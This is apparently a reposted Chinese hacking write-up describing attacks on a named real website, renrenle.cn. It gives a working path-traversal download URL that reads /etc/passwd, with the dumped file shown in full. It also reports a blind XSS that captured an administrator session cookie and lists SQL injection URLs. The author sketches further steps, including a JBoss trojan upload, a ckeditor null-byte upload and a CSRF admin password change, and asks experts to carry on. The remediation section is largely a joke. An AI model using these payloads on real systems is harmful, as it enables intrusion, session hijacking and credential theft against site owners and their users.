来源：自学PHP网 时间：2015-04-17 11:59 作者： 阅读:次
[导读] 任意下载文件漏洞，XSS盲打后台，SQL注入，JbossWeb，疑似ckeditor上传漏洞等等。。首先是任意下载文件 最严重的http://www.renrenle.cn/share/download.jsp?filePath=../../../../../../etc/passwdfileName=w......
|
任意下载文件漏洞，XSS盲打后台，SQL注入，JbossWeb，疑似ckeditor上传漏洞等等。。
首先是任意下载文件 最严重的 http://www.renrenle.cn/share/download.jsp?filePath=../../../../../../etc/passwd&fileName=wind.txt
没有任何限制
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
xh:x:1000:1000:xiaohong,,,:/home/xh:/bin/bash
ftp:x:106:113:ftp daemon,,,:/srv/ftp:/bin/false
xiaohong:x:1001:1001::/home/xiaohong:/bin/false
ftp1001:x:1002:1002::/home/ftp1001:/bin/false
ftp1002:x:1003:1003::/home/ftp1002:/bin/false
ftp1003:x:1004:1004::/home/ftp1003:/bin/false
ftp1004:x:1005:1005::/home/ftp1004:/bin/false
ftp1005:x:1006:1006::/home/ftp1005:/bin/false
ftp1006:x:1007:1007::/home/ftp1006:/bin/false
nhy:x:1008:1008::/home/nhy:/bin/false
postfix:x:107:115::/var/spool/postfix:/bin/false
下来是XSS
http://www.renrenle.cn/rrlcs/suggest/suggest.jsp
这里标题插入代码，可以盲打后台
Date: 2013-02-04 16:23:54
OS: Windows XP
Browser: Internet Explorer 8.0
location: http://www.renrenle.cn/rrlcs/admin/manageMessages.jsp?left=1
toplocation: http://www.renrenle.cn/rrlcs/admin/index2.jsp?msg=success
cookie: JSESSIONID=8F1C520080793FC30416BD4532F7E7E4
referrer: http://www.renrenle.cn/rrlcs/admin/side.jsp?moduleid=9
SQL注入的话，在有cookies时，新闻呀什么的
似乎没法访问admin.jsp，不知到是什么原因，不过别的页面确是正常
比如http://www.renrenle.cn/rrlcs/admin/managegoods.jsp
那么注入点在这里
http://www.renrenle.cn/rrlcs/admin/viewgoods.jsp?id=69
还有他的服务器是ubuntu 12.04 服务器版，不会搞了，用的是Jbossweb 搭建的网站，任意下载文件可以下载到jboss配置文件，理论上可以通过web管理上传木马，不过遗憾的是，我不会了，似乎端口是8083，不知到怎么的访问不了
PS 关于Jboss
[23:47:18] Shawn Smith: 这个是jboss源码 http://www.oschina.net/code/explore/jbossas
2.似乎他还有一个ckeditor，据说可以用%00截断，然后NC上传。这个没测试。不知到她用的ckeditor有没有这个漏洞
3. 网站后台 /admin 还有三个，崇尚百货什么的，能注册后访问，不过似乎没啥用了
最后 还是失败了。。第一次搞JSP的站，求大牛教我。。
Skype:whirlwind110@live.com
漏洞证明：大牛自己上吧。。ubuntu下没QQ截图额。。。
PS 写道这里，我又想到一个好办法，获取cookies后可以访问一个修改密码的页面，，如果我CSRF的话，，不是管理员密码就有了。。嘿嘿，等下试试哦
修复方案：
嘿嘿 开玩笑，不求那些，过滤过滤再过滤
去练功了。。孩子们晚安啦，人多力量打，求学习。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
